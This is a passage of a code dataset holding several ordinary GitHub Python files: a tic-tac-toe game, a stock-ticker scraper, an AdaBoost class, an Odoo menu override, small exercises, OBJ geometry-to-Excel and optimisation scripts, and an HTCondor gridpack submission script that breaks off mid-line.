+{"seq_id":"9603142896","text":"def create_board(board):\n '''Create a board with three rows and three columns.'''\n for row in board:\n print('|', end=\"\")\n for slot in row:\n print(f\" {slot} \", end=\"|\")\n print()\n\n\ndef check_move(move):\n '''Check if user move equal to number and not out of board.'''\n if not move.isnumeric() or int(move) > 9 or int(move) < 1:\n print(\"This's not a valid position!\")\n return False\n else:\n return True\n\n\ndef occupied_box(coords, board):\n '''Check if user move is on a free position.'''\n row = coords[0]\n col = coords[1]\n if board[row][col] != \"_\":\n print(\"This box is already occupied!\")\n return True\n else:\n return False\n\n\ndef coordinates(move):\n '''Determine row and column according to user move.'''\n row = int(move / 3)\n col = move\n if col > 2:\n col = int(col % 3)\n return (row, col)\n\n\ndef add_to_board(coords, board, active_user):\n '''Add user move to a position on a board.'''\n row = coords[0]\n col = coords[1]\n board[row][col] = active_user\n\n\ndef current_user(user):\n '''Define which user has to make a move.'''\n if user:\n return \"X\"\n else:\n return \"O\"\n\n\ndef is_win(user, board):\n '''Check winning positions.'''\n if check_row(user, board):\n return True\n if check_col(user, board):\n return True\n if check_diag(user, board):\n return True\n return False\n\n\ndef check_row(user, board):\n for row in board:\n complete_row = True\n for slot in row:\n if slot != user:\n complete_row = False\n break\n if complete_row:\n return True\n return False\n\n\ndef check_col(user, board):\n for col in range(3):\n complete_col = True\n for row in range(3):\n if board[row][col] != user:\n complete_col = False\n break\n if complete_col:\n return True\n return False\n\n\ndef check_diag(user, board):\n if board[0][0] == user and board[1][1] == user and board[2][2] == user:\n return True\n elif board[0][2] == user and board[1][1] == user and board[2][0] == user:\n return True\n else:\n return False\n\ndef new_game():\n '''Offer user to restart the game or to quit.'''\n to_continue = input(\"Do you want to start new game. Type 'Y' or 'N': \").upper()\n if to_continue == 'Y':\n tic_toc_toe()\n else:\n print('GAME OVER')\n\n\n\ndef tic_toc_toe():\n print(\"WELCOME TO TIC TOC TOE! CAll A FRIEND AND HAVE FUN!\")\n board = [\n [\"_\", \"_\", \"_\"],\n [\"_\", \"_\", \"_\"],\n [\"_\", \"_\", \"_\"]\n ]\n user = True\n turns = 0\n\n while turns < 9:\n active_user = current_user(user)\n create_board(board)\n if turns == 0 or turns % 2 == 0:\n move = input(\"Player 'X' make your move to a position from 1 through 9: \")\n else:\n move = input(\"Player 'O' make your move to a position from 1 through 9: \")\n if not check_move(move):\n print(\"Please try again.\")\n continue\n move = int(move) - 1\n coords = coordinates(move)\n if occupied_box(coords, board):\n print(\"Please try again\")\n continue\n add_to_board(coords, board, active_user)\n if is_win(active_user, board):\n print(f\"Player '{active_user.upper()}' won!\")\n create_board(board)\n new_game()\n break\n\n turns += 1\n if turns == 9:\n print(\"Draw!\")\n create_board(board)\n new_game()\n user = not user\n\n\ntic_toc_toe()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"IlonaBrushnovska/Tic-tac-toe","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"29660872427","text":"#scrape.py\nfrom bs4 import BeautifulSoup\nimport requests\nimport time\nimport pandas as pd\n\n\ndef get_most_active():\n url = 'https://finance.yahoo.com/trending-tickers'\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0\"\n }\n ticker_data = {}\n r = requests.get(url, headers=headers)\n data = r.text \n soup = BeautifulSoup (data, 'html.parser')\n alldata = soup.find_all('tr', class_='simpTblRow Bgc($hoverBgColor):h BdB Bdbc($seperatorColor) Bdbc($tableBorderBlue):h H(32px) Bgc($lv2BgColor)')\n table1 = alldata[0]\n for cols in alldata:\n t = cols.find_all('td')\n cells = cols.find_all('fin-streamer')\n if cells:\n ticker = t[0].text\n name = t[1].text\n value = t[2].text\n time = t[3].text\n change = t[4].text\n percent_change = t[5].text\n volume = t[6].text\n market_cap = t[7].text\n ticker_data[ticker] = {\n 'name': name,\n 'value': value,\n 'time': time,\n 'change': change,\n 'percent_change': percent_change,\n 'volume': volume,\n 'market_cap': market_cap,\n }\n return ticker_data\n\n\ndef create_df():\n ticker_data = get_most_active()\n stock_data = []\n for ticker, data in ticker_data.items():\n value = get_value(data)\n timestamp = pd.Timestamp.now()\n stock_data.append({\n 'timestamp': timestamp,\n 'ticker': ticker,\n 'name': data['name'],\n 'value': value,\n 'time': data['time'],\n 'change': data['change'],\n 'percent_change': data['percent_change'],\n 'volume': data['volume'],\n 'market_cap': data['market_cap']\n })\n df = pd.DataFrame(stock_data)\n return df\n\n\ndef get_all_names():\n ticker_data = get_most_active()\n ticker_names = []\n for ticker, data in ticker_data.items():\n ticker_names.append(data['name'])\n return ticker_names\n\n\ndef get_biggest_movers():\n ticker_data = get_most_active()\n # Sort the ticker data by absolute value of percent change\n sorted_ticker_data = sorted(ticker_data.items(), key=lambda x: abs(float(x[1]['percent_change'][:-1])), reverse=True)\n biggest_movers = []\n for ticker, data in sorted_ticker_data[:5]:\n biggest_movers.append((ticker, data['percent_change']))\n return biggest_movers\n\n\ndef get_name(ticker_name):\n return ticker_name['name']\n\n\ndef get_value(ticker_name):\n return ticker_name['value']\n\n\ndef get_time(ticker_name):\n return ticker_name['time']\n\n\ndef get_change(ticker_name):\n return ticker_name['change']\n\n\ndef get_percent_change(ticker_name):\n return ticker_name['percent_change']\n\n\ndef get_volume(ticker_name):\n return ticker_name['volume']\n\n\ndef get_market_cap(ticker_name):\n return ticker_name['market_cap']\n","repo_name":"alogan1259/trending_tickers_api","sub_path":"api/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"33694376712","text":"\"\"\"\n===================================================\n Introduction to Machine Learning (67577)\n===================================================\n\nSkeleton for the AdaBoost classifier.\n\nAuthor: Noga Zaslavsky\nEdited: Yoav Wald, May 2018\n\n\"\"\"\nimport numpy as np\n\nclass AdaBoost(object):\n\n def __init__(self, WL, T):\n \"\"\"\n Parameters\n ----------\n WL : the class of the base weak learner\n T : the number of base learners to learn\n \"\"\"\n self.WL = WL\n self.T = T\n self.h = [None]*T # list of base learners\n self.w = np.zeros(T) # weights\n\n def train(self, X, y):\n \"\"\"\n Train this classifier over the sample (X,y)\n \"\"\"\n m, d = X.shape\n D = np.full(m, 1/m)\n for i in range(self.T):\n self.h[i] = self.WL(D, X, y)\n error_i = np.dot(D, (y != self.h[i].predict(X)))\n self.w[i] = 0.5 * np.log((1/error_i) - 1)\n y_hat = self.h[i].predict(X)\n D = (D * np.exp(-self.w[i] * y * y_hat)) / (D * np.exp(-self.w[i] * y * y_hat)).sum()\n\n def predict(self, X):\n \"\"\"\n Returns\n -------\n y_hat : a prediction vector for X\n \"\"\"\n temp = []\n for t in range(self.T):\n temp.append(np.dot(self.w[t], self.h[t].predict(X)))\n return np.sign(np.array(temp).sum(axis=0))\n\n def error(self, X, y):\n \"\"\"\n Returns\n -------\n the error of this classifier over the sample (X,y)\n \"\"\"\n y_hat = self.predict(X)\n y = np.array(y)\n return sum(y[i] != y_hat[i] for i in range(len(y)))/len(y)\n\n","repo_name":"TomEliassy/Machine-Learning","sub_path":"ex2 - Adaboost, Bagging, Decision Tree/adaboost.py","file_name":"adaboost.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"37578263266","text":"# -*- coding: utf-8 -*-\r\n\r\nfrom odoo import api, fields, models, tools, _\r\nimport operator\r\n\r\n\r\nclass IrUiMenu(models.Model):\r\n _inherit = \"ir.ui.menu\"\r\n \r\n category_id = fields.Many2one('ir.ui.menu.category', string=\"Category\")\r\n \r\n @api.model\r\n @tools.ormcache_context('self._uid', 'debug', keys=('lang',))\r\n def load_menus(self, debug):\r\n \"\"\"[summary]\r\n 加载所有菜单项(所有应用程序及其子菜单)。\r\n odoo/addons/base/models/ir_ui_menu.py\r\n \r\n :return:菜单根目录\r\n :rtype:dict('children':菜单\\节点)\r\n \"\"\"\r\n \r\n fields = ['name', 'sequence', 'parent_id', 'action', 'web_icon', 'web_icon_data', 'category_id'] #增加category_id字段\r\n menu_roots = self.get_user_roots()\r\n menu_roots_data = menu_roots.read(fields) if menu_roots else []\r\n menu_root = {\r\n 'id': False,\r\n 'name': 'root',\r\n 'parent_id': [-1, ''],\r\n 'children': menu_roots_data,\r\n 'all_menu_ids': menu_roots.ids,\r\n }\r\n\r\n if not menu_roots_data:\r\n return menu_root\r\n\r\n # 与常规树视图不同,菜单完全加载,因为项目数量有限(安装所有6.1插件时为752个)\r\n menus = self.search([('id', 'child_of', menu_roots.ids)])\r\n menu_items = menus.read(fields)\r\n\r\n # 在序列的末尾添加根,这样当放入id:item映射时,它们将覆盖从完整菜单读取的等效菜单项,从而在根上正确设置子菜单项。\r\n menu_items.extend(menu_roots_data)\r\n menu_root['all_menu_ids'] = menus.ids # 包括菜单根!\r\n\r\n # 使用parent_id创建树\r\n menu_items_map = {menu_item[\"id\"]: menu_item for menu_item in menu_items}\r\n for menu_item in menu_items:\r\n parent = menu_item['parent_id'] and menu_item['parent_id'][0]\r\n if parent in menu_items_map:\r\n menu_items_map[parent].setdefault(\r\n 'children', []).append(menu_item)\r\n\r\n # 使用parent_id按顺序对树进行排序\r\n for menu_item in menu_items:\r\n menu_item.setdefault('children', []).sort(key=operator.itemgetter('sequence'))\r\n\r\n (menu_roots + menus)._set_menuitems_xmlids(menu_root)\r\n\r\n return menu_root","repo_name":"Jacky-odoo/cabalcon14","sub_path":"rainbow_community_theme/models/ir_ui_menu.py","file_name":"ir_ui_menu.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"9901617373","text":"#!/usr/bin/env python3\n\n# Script Name: File Handling\n# Author: Gerald\n# Date of latest revision: 6/12/2023\n# Purpose: Creates a text file, edits line, then deletes \n# Instructions: \n#Using file handling commands \n#create a Python script that creates a new .txt file \n#appends three lines \n#prints to the screen the first line\n#then deletes the .txt file.\n\n\n#Declartion of varibles:\nwords = open(\"Ops10text.txt\", \"w\")\n\n#Declaration of functions:\n#words is the variable name, write is the command of what we're doing in this case writing text\n# The \"\" containts the text and tells python that thats a string, while the \\n is to start a new line\n\n\n\n\n#Main\n# This writes the text in \"\" in the files\nwords.write(\"Example text\\n\")\nwords.write(\"This is a second line of text\\n\")\nwords.write(\"A final line of text\\n\")\n#then you have to close the file since you cant just switch to read\nwords.close()\n#open up the file in read mode the \"r\" denotes read mode\nwords = open(\"Ops10text.txt\", \"r\")\n# I dont know why below doesnt work, not even when I switch it to 1\n#words.readlines(0)\n#Chat GPT saids to make it a variable first and I dont understand why\n#lines = words.readlines()\n\n# Print the first line\nlines = words.readlines()\n#The Code below deletes the fiel\nline1 = lines[0]\nprint(line1)\n\n# Close the file by calling the close() method\nwords.close()\n# Remove the file using the os module\nimport os\nos.remove(\"Ops10text.txt\")\n\n","repo_name":"gerreit/301-Code-Challenge","sub_path":"10 Python file handling.py","file_name":"10 Python file handling.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"22949838976","text":"import pandas as pd\nimport futuquant as ft\nimport numpy as np\nimport datetime\nimport time\n\nfrom futuquant.myProFiles import stockData\n\nquote_ctx = ft.OpenQuoteContext(host='127.0.0.1', port=11111)\npre_day = '2017-05-30'\n# 获取数据\n# _, df = pd.read_csv('C:/Users/HXWD/Desktop/000001.csv', encoding='gbk')\n_, df = quote_ctx.get_history_kline(\"HK.00700\", start=pre_day)\nret_data = stockData.getStockInfoRealTime(quote_ctx, stockCode='HK.00700')\n\n_, df = quote_ctx.get_history_kline(\"HK.00700\", start=pre_day)\ndf.columns = ['code', 'time_key', 'open', 'close', 'high', 'low', 'pe_ratio', 'turnover_rate', 'volume', 'turnover',\n 'change_rate']\n# df = df[['date', 'open', 'high', 'low', 'close', 'volume', 'amt']]\ndf = df[['close', 'time_key']]\nret_data = stockData.getStockInfoRealTime(quote_ctx, stockCode='HK.00700')\nret_data = ret_data[['last_price', 'data_date']]\n# ret_data.columns = [['close', 'time_key']]\nret_data = ret_data.rename(columns={'last_price': 'close'})\nret_data = ret_data.rename(columns={'data_date': 'time_key'})\nret_data[[\"time_key\"]] = ret_data[[\"time_key\"]] + \" 00:00:00\"\ndf = pd.concat([df, ret_data], axis=0)\ndf.index = pd.Series(range(len(df)))\n\ndf.head()\n\n\ndef get_EMA(df, N):\n for i in range(len(df)):\n if i == 0:\n df.ix[i, 'ema'] = df.ix[i, 'close']\n if i > 0:\n df.ix[i, 'ema'] = (2 * df.ix[i, 'close'] + (N - 1) * df.ix[i - 1, 'ema']) / (N + 1)\n ema = list(df['ema'])\n return ema\n\n\ndef get_MACD(df, short=12, long=26, M=9):\n a = get_EMA(df, short)\n b = get_EMA(df, long)\n df['dif'] = pd.Series(a) - pd.Series(b)\n for i in range(len(df)):\n if i == 0:\n df.ix[i, 'dea'] = df.ix[i, 'dif']\n if i > 0:\n df.ix[i, 'dea'] = (2 * df.ix[i, 'dif'] + (M - 1) * df.ix[i - 1, 'dea']) / (M + 1)\n df['macd'] = 2 * (df['dif'] - df['dea'])\n df = df.sort_index(ascending=True)\n return df\n\n\nget_MACD(df, 12, 26, 9)\ndf\n","repo_name":"dongxiao999999/futuquant","sub_path":"futuquant/myProFiles/testMacd.py","file_name":"testMacd.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"66"}
+{"seq_id":"70042757650","text":"from pickle import FALSE, TRUE\nopcion=int(input(\"Ingrese la opción que desea. \\n (1) Anadir cliente, \\n (2) Eliminar cliente, \\n (3) Mostrar cliente. \\n (4) Listar todos los clientes. \\n (5) Listar clientes preferentes. \\n (6) Terminar.\\n Escriba su opción: \"))\ndatosCliente={}\nif opcion == 1:\n nombre=(str(input(\"Ingrese el nombre del cliente: \")))\n direccion=(str(input(\"Ingrese la dirección del cliente: \")))\n telefono=(str(input(\"Ingrese el teléfono del cliente: \")))\n correo=(str(input(\"Ingrese el correo del cliente: \")))\n Datopreferente=(int(input(\"Si el cliente es preferente digite (1) si no lo es digite (0): \")))\n if Datopreferente == 1:\n preferente=TRUE\n else:\n preferente=FALSE\n datosCliente={\"Nombre\": nombre, \"Dirección\": direccion, \"Teléfono\": telefono, \"Correo\":correo, \"Preferente\": preferente}\n NIF=int(input(\"Ingrese el NIF del cliente: \"))\n datosCliente[NIF]= datosCliente\n print(datosCliente)\n print(preferente)\nelif opcion == 2:\n clienteBorrado=datosCliente.pop(input(\"Ingrese ell NIF del cliente que desea borrar: \"))\nelif opcion ==3:\n consultaCliente=(int(input(\"Ingrese el NIF del cliente que desea ver: \")))\n print(datosCliente[consultaCliente])\nelif opcion ==4:\n print(datosCliente)\nelif opcion == 5:\n print(datosCliente)\nelse:\n print(\"Gracias. Vuelva pronto\")","repo_name":"ChrisBermudezR/Mintic_2022","sub_path":"Codigo/Ciclo_01/Semana_05/Ejercicio.py","file_name":"Ejercicio.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"6423646364","text":"import glob #ファイル操作用モジュール\r\nimport numpy as np #数値計算用モジュール\r\nimport pandas as pd #データ処理用モジュール\r\nimport xlwings as xw #Excel操作用モジュール\r\n\r\n\r\n\r\n#フォルダ内のファイル名を取得\r\nobj_names = glob.glob(u'./obj_files/*.obj') #正規表現で検索\r\nprint (\"obj_names =\", obj_names)\r\nprint()\r\n\r\n#xlwingsでExcelファイルを読み込み\r\nexcel_name = \"import_obj.xlsm\"\r\n#wb = xw.Book() #Excel New Bookを作成\r\nwb = xw.Book(excel_name) #既存のファイルを読み込み\r\nsht = wb.sheets[u'一覧表'] #操作するシートのインスタンスを作成\r\ntable_loc = \"C5\" #Excelデータの読み込み位置(左上)\r\n\r\n\r\n\r\n#列ラベル\r\nobj_label01 = ['製品名','部品名','最長長さ','中間長さ','最小長さ']\r\nobj_label02 = ['面積','体積','頂点数','試作単価']\r\n\r\n#データフレームを作成\r\n#obj_df_all = pd.DataFrame(index=[], columns=obj_label01+obj_label02) #空のデータを作成\r\nobj_df_all = sht.range(table_loc).options(pd.DataFrame, expand='table').value #Excelから読み込み\r\nprint(obj_df_all)\r\n\r\n\r\n\r\n#各objファイルのx,y,z長さを計算\r\nfor i in range(len(obj_names)):\r\n obj_name = obj_names[i][12:-4].split(\"_\",1) #不要文字を削除し、最初の_で区切る\r\n print(\"name =\", obj_name)\r\n\r\n #objデータから頂点データを取得\r\n obj_vtx = pd.read_csv(obj_names[i], encoding=\"shift_jis\", skiprows=2, header=None, sep='\\s+')\r\n obj_vtx.columns = ['data', 'x', 'y', 'z'] #列ラベルをつける\r\n obj_vtx = obj_vtx[obj_vtx['data']=='v'] #頂点データのみ取得して置換\r\n obj_vtx = obj_vtx[['x', 'y', 'z']].astype(np.float64) #float64に型変換\r\n #print(obj_vtx.head(5))\r\n\r\n #x,y,z方向の長さ\r\n obj_len = np.empty(3, np.float)\r\n obj_len[0] = max(obj_vtx['x']) -min(obj_vtx['x'])\r\n obj_len[1] = max(obj_vtx['y']) -min(obj_vtx['y'])\r\n obj_len[2] = max(obj_vtx['z']) -min(obj_vtx['z'])\r\n obj_len = np.sort(obj_len)[::-1] #降順(大きい順)にソート\r\n print(\"xl =\",obj_len[0], \", yl =\",obj_len[1], \", zl =\",obj_len[2])\r\n\r\n #最外形の面積・体積\r\n obj_area = obj_len[0]*obj_len[1]\r\n obj_vol = obj_len[0]*obj_len[1]*obj_len[2]\r\n print(\"area = \",obj_area, \", vol =\",obj_vol)\r\n\r\n #頂点数\r\n obj_vtx_total = len(obj_vtx['x'])\r\n print(\"vtx total = \",obj_vtx_total)\r\n\r\n #データフレームに追加\r\n obj_se01 = pd.Series([obj_name[0],obj_name[1], obj_len[0],obj_len[1],obj_len[2]], index=obj_label01)\r\n obj_se02 = pd.Series([obj_area,obj_vol, obj_vtx_total, ''], index=obj_label02)\r\n obj_se_all = pd.concat([obj_se01,obj_se02]) #データを横に結合\r\n obj_df_all = obj_df_all.append(obj_se_all, ignore_index=True) #データを縦に結合\r\n print()\r\n\r\n\r\n#データの体裁を整える\r\nobj_df_all = obj_df_all.drop_duplicates(subset=['製品名','部品名'], keep='first') #重複してたら後ろを消す\r\nobj_df_all = obj_df_all.sort_values(['製品名','部品名'], ascending=[True, True]) #昇順(小さい順)にソート\r\n\r\nprint(obj_df_all)\r\n\r\n\r\n\r\n#pandasでExcelに書き出し\r\n'''excel_writer = pd.ExcelWriter('01_モデルデータ.xlsx') #出力ファイル名を指定\r\nobj_df_all.to_excel(excel_writer, '一覧表', index=False) #シート名を指定してデータフレームを書き出す\r\nexcel_writer.save() #書き出した内容を保存'''\r\n\r\n\r\n#xlwingsでExcelに書き出し\r\nsht.range(table_loc).value = obj_df_all #Excelにデータフレームを書き込み\r\nwb.save(excel_name) #保存'''\r\n","repo_name":"sunsetyuhi/obj_py","sub_path":"import_obj01.py","file_name":"import_obj01.py","file_ext":"py","file_size_in_byte":3568,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"39477648199","text":"# Écrivez un programme qui convertisse en degrés Celsius une température exprimée au départ en degrés Fahrenheit, ou l’inverse.\n# La formule de conversion est : T F =T C ×1,8 + 32\n\n\nt = 10\ntc = 0\ntf = 0\n\ntf = t * 1.8 + 32\ntc = t / 1.8 - 32\n\nprint (\"De Fahrenheit à Celsius = \", tc, \" Degres Celsius\")\nprint (\"De Celsius à Fahrenheit= \", tf, \" Degres Fahrenheit\")","repo_name":"eurbain/Ex_1","sub_path":"ex5.3.py","file_name":"ex5.3.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"38185302193","text":"import re\r\nimport openpyxl\r\nfrom openpyxl import Workbook\r\nfrom openpyxl.styles import PatternFill\r\n\r\nfrom minimize_point import optimize\r\n\r\n\r\nroot_dir = \"..\\\\\"\r\n\r\nres_wb = Workbook()\r\nres_ws = res_wb.create_sheet()\r\nsheet = res_wb.active\r\ntitle = [\"Tag编号\", \"精确x\", \"精确y\", \"精确z\", \"预测精准度\", \"最优解x\", \"最优解y\", \"最优解z\", \"x差值\", \"y差值\", \"z差值\"]\r\nsheet.append(title)\r\n\r\nwb = openpyxl.load_workbook(root_dir+\"根据训练数据得到坐标.xlsx\", data_only=True)\r\nws = wb.active\r\nrows = ws.rows\r\n# 全部数据\r\nli = list(rows)\r\ni=1\r\nerror=0\r\nwith open(root_dir+\"Tag坐标信息.txt\", 'r', encoding='utf-8') as txtData:\r\n lines = txtData.readlines()\r\n for data in lines[2:]:\r\n if len(data) != 1:\r\n loc = re.findall(r\"\\d+\", data)\r\n train_row = li[i]\r\n S = [train_row[1].value, train_row[2].value, train_row[3].value, train_row[4].value]\r\n G = [train_row[5].value, train_row[6].value, train_row[7].value]\r\n anchor = [[0, 0, 1300],\r\n [5000, 0, 1700],\r\n [0, 5000, 1700],\r\n [5000, 5000, 1300]]\r\n # print(S, G)\r\n ans = optimize(anchor, S, G)\r\n # 1 ['1', '50', '50', '88'] True [543.82663116 530.89997737 931.82941295]\r\n # 324 ['324', '450', '450', '200'] False [718.35134475 676.19105009 14.30062475]\r\n # print(i, int(loc[1])*10, int(loc[2])*10, int(loc[3])*10, ans[0], ans[1][0], ans[1][1], ans[1][2],\r\n # abs(ans[1][0]-int(loc[1])*10),\r\n # abs(ans[1][1] - int(loc[2]) * 10),\r\n # abs(ans[1][2] - int(loc[3]) * 10)\r\n # )\r\n if ans[0]:\r\n sheet.append(\r\n [i, int(loc[1]) * 10, int(loc[2]) * 10, int(loc[3]) * 10, ans[0], ans[1][0], ans[1][1], ans[1][2],\r\n abs(ans[1][0] - int(loc[1]) * 10),\r\n abs(ans[1][1] - int(loc[2]) * 10),\r\n abs(ans[1][2] - int(loc[3]) * 10)])\r\n else:\r\n error+=1\r\n red_fill = PatternFill(fill_type='solid', fgColor=\"FF0000\", bgColor=\"AACF91\")\r\n sheet.row_dimensions[i+1].fill = red_fill\r\n sheet.append([i, int(loc[1])*10, int(loc[2])*10, int(loc[3])*10, ans[0], ans[1][0], ans[1][1], ans[1][2],\r\n abs(ans[1][0]-int(loc[1])*10),\r\n abs(ans[1][1] - int(loc[2]) * 10),\r\n abs(ans[1][2] - int(loc[3]) * 10)])\r\n\r\n i += 1\r\nprint(error)\r\n# res_wb.save(\"利用COBYLA算法求得最优解.xlsx\")\r\nres_wb.save(\"利用SLSQP算法求得最优解.xlsx\")\r\n# res_wb.save(\"利用TNC算法求得最优解.xlsx\")\r\n# res_wb.save(\"利用Nelder-Mead算法求得最优解.xlsx\")\r\n\r\n# res_wb.save(\"利用Powell算法求得最优解.xlsx\")\r\n# res_wb.save(\"利用trust-krylov算法求得最优解.xlsx\")","repo_name":"MysticalGuest/HuaweiCUP","sub_path":"Mission2/最优解/minimize_all.py","file_name":"minimize_all.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"43285692898","text":"#! /usr/bin/env python\n# Author: Izaak Neutelings (June 2020)\n# Note:\n# - Clone genproductions (official or private) with gridpack_generation.sh and cards:\n# cd /eos/user/i/ineuteli/prod\n# git clone git@github.com:cms-sw/genproductions.git genproductions\n# git clone git@github.com:IzaakWN/genproductions.git genproductions\n# - Gridpack working areas can get large; O(400MB) per gridpack\n# - AFS has a limited space (up to 10 GB, use `fs listquota`)\n# => use CMSSW working directory on EOS\n# - HTCondor jobs cannot be submitted from EOS\n# => submit from AFS\n# - git push does not work on EOS\nfrom __future__ import print_function # for python3 compatibility\nimport os, sys\nfrom create_cards import createcards, subplaceholders\nfrom utils import ensuredir, subkey, warning\n\n#print sys.path\n#basedir = \"/eos/user/i/ineuteli/production/LQ_Request2020/genproductions/bin/MadGraph5_aMCatNLO\"\n#basedir = \"genproductions/bin/MadGraph5_aMCatNLO\"\narch_dict = {\n '2016': ('slc6_amd64_gcc481','CMSSW_7_1_45_patch3'),\n '2017': ('slc6_amd64_gcc630','CMSSW_9_3_17'),\n '2018': ('slc6_amd64_gcc700','CMSSW_10_2_20'),\n 'UL2016': ('slc7_amd64_gcc700','CMSSW_10_6_31'),\n}\narch_dict['UL2017'] = arch_dict['UL2016']\narch_dict['UL2018'] = arch_dict['UL2016']\n\n\ndef findHTCondorBindings():\n # export PYTHONPATH=/usr/lib64/python2.6/site-packages\n import htcondor\n print(os.path.dirname(htcondor.__file__))\n \n\ndef submit(sample,carddir,scram,cmssw,mock=False):\n #command = \"sbatch -J gridpack_%s submit_gridpack_generation_SLURM.sh %s %s\"%(sample,sample,carddir)\n #command = \"qsub -N gridpack_%s submit_gridpack_generation_SGE.sh %s %s %s %s\"%(sample,sample,carddir,scram,cmssw)\n command = \"./submit_condor_gridpack_generation.sh %s %s %s %s\"%(sample,carddir,scram,cmssw)\n print(command)\n if not mock:\n os.system(command)\n \n\ndef submitArgFile(jobname,argfile,jobdir=\"jobs\",mock=False):\n logdir = ensuredir(os.path.join(jobdir,'log'))\n logfile = os.path.join(logdir,\"%s.$(ClusterId).$(ProcId).log\"%(jobname))\n command = \"condor_submit -batch-name %s -append mylogfile='%s' submit_gridpack_condor.sub -queue arg from %s\"%(jobname,logfile,argfile)\n print(\">>> %s\"%(command))\n if not mock:\n os.system(command)\n \n\ndef createArgFile(jobname,name,masses,scram,cmssw,carddir,jobdir=\"jobs\",workdir=None):\n ensuredir(jobdir)\n jobname = jobname.replace('$MASS','')\n fname = os.path.join(jobdir,\"args_%s.txt\"%(jobname))\n print(\">>> %s\"%(jobname))\n with open(fname,'w+') as file:\n for mass in masses:\n ###for lambd in lambdas:\n ###print \">>> mass=%s, lambda=%s\"%(mass,lambd)\n ###lambd = str(lambd).replace('.','p')\n name_ = subkey(name,MASS=mass) #\"%sScalarLQToBTau_M%s_L%s\"%(proc,mass,lambd)\n carddir_ = subkey(carddir,MASS=mass) #\"%sScalarLQToBTau_M%s_L%s\"%(proc,mass,lambd)\n ###if carddir_[0]!='/':\n ### carddir_ = os.path.abspath(carddir_)\n ###carddir_ = os.path.join(carddir,name_)\n fulldir = os.path.abspath(carddir_) #os.path.join(basedir,carddir)\n workdir_ = os.path.join(workdir,name_)\n if not os.path.exists(fulldir):\n print(warning(\"createArgFile: Sample card directory does not exist! %r\"%(fulldir),pre=\">>> \"))\n if os.path.exists(workdir_): # created by gridpack_generation.sh\n print(warning(\"createArgFile: Work directory already exists! Please remove %r\"%(workdir_),pre=\">>> \"))\n if workdir: # create path relative to gridpack_generation.sh in workdir\n carddir_ = os.path.relpath(carddir_,workdir)\n if workdir and workdir[0]=='/' and fulldir[0]=='/' and workdir.split('/')[:2]!=fulldir.split('/')[:2]:\n print(warning(\"createArgFile: carddir and workdir are not on the same system? carddir=%s vs. workdir=%s\"%(fulldir,workdir),pre=\">>> \"))\n args = \"%s %s %s %s\"%(name_,carddir_,scram,cmssw)\n print(\">>> %s\"%(args))\n file.write(args+'\\n')\n return fname\n \n\ndef main(args):\n #findHTCondorBindings()\n \n create = args.create\n mock = args.mock\n #carddirs = [\"cards/production/2017/13TeV/ScalarLQ/\"]\n carddirs = args.carddirs\n cardname = args.cardname or \"$NAME_M$MASS_L$LAMBDA\"\n jobname = \"$NAME_L$LAMBDA_$ERA\" # no mass\n eras = args.eras\n ###models = args.models #['VectorLQ','ScalarLQ']\n ###procs = args.procs #['Single',] #'Pair']\n #masses = [600,800,1000,1200,1400,1700,2000] #500,800,1100,1400,1700,2000,2300]\n masses = args.masses or [600,1400,2000]\n lambdas = args.lambdas or [1.0]\n jobdir = args.jobdir #\"jobs/\"\n basedir = args.workdir or \"/afs/cern.ch/user/i/ineuteli/prod/CRAB/CMSSW_10_6_19/src\"\n #basedir = args.workdir or \"/eos/user/i/ineuteli/prod\" #CMSSW_10_6_19/src\"\n workdir = os.path.join(basedir,\"genproductions/bin/MadGraph5_aMCatNLO\")\n if basedir.startswith('/eos/'): # on EOS: ensure cards relative to workdir\n outdir = os.path.join(basedir,'cards/$CARDNAME')\n else: # on AFS\n outdir = os.path.join(jobdir,'cards/$CARDNAME')\n verbosity = args.verbosity+2\n #lambdas = [1.5,2.0,2.5]\n #jobname = \"%sScalarLQToBTau_L%s_%s\"%(proc,lambd,era)\n #sample = \"%sScalarLQToBTau_M%s_L%s\"%(proc,mass,lambd)\n #jobname = \"$PROC$SPIN$MODEL_L$LAMBDA_$MASS_$ERA\"\n #os.chdir(basedir)\n assert os.path.exists(workdir), \"Working directory %s does not exist!\"%(workdir)\n \n for carddir in carddirs:\n if create: # create datacards locally\n print(\">>> Create data cards...\")\n paramdict = { 'LAMBDA': lambdas }\n names = createcards(carddir,cardname,masses,paramdict,outdir=outdir,verb=verbosity)\n name_ = names[0]\n else: # use datacards in CMSSW\n name_ = os.basename(carddir.rstrip('/'))\n ###basedir = \"$CMSSW_BASE/genproductions/bin/MadGraph5_aMCatNLO\"\n ###fulldir = os.path.join(basedir,carddir)\n ###if not os.path.exists(fulldir):\n ### print(\">>> Card directory does not exist! %r\"%(fulldir))\n for era in eras:\n scram, cmssw = arch_dict[era]\n ###for model in models:\n ### for proc in procs:\n \n # PRINT\n if verbosity>=1:\n print(\">>> \"+'='*90)\n print(\">>> name = 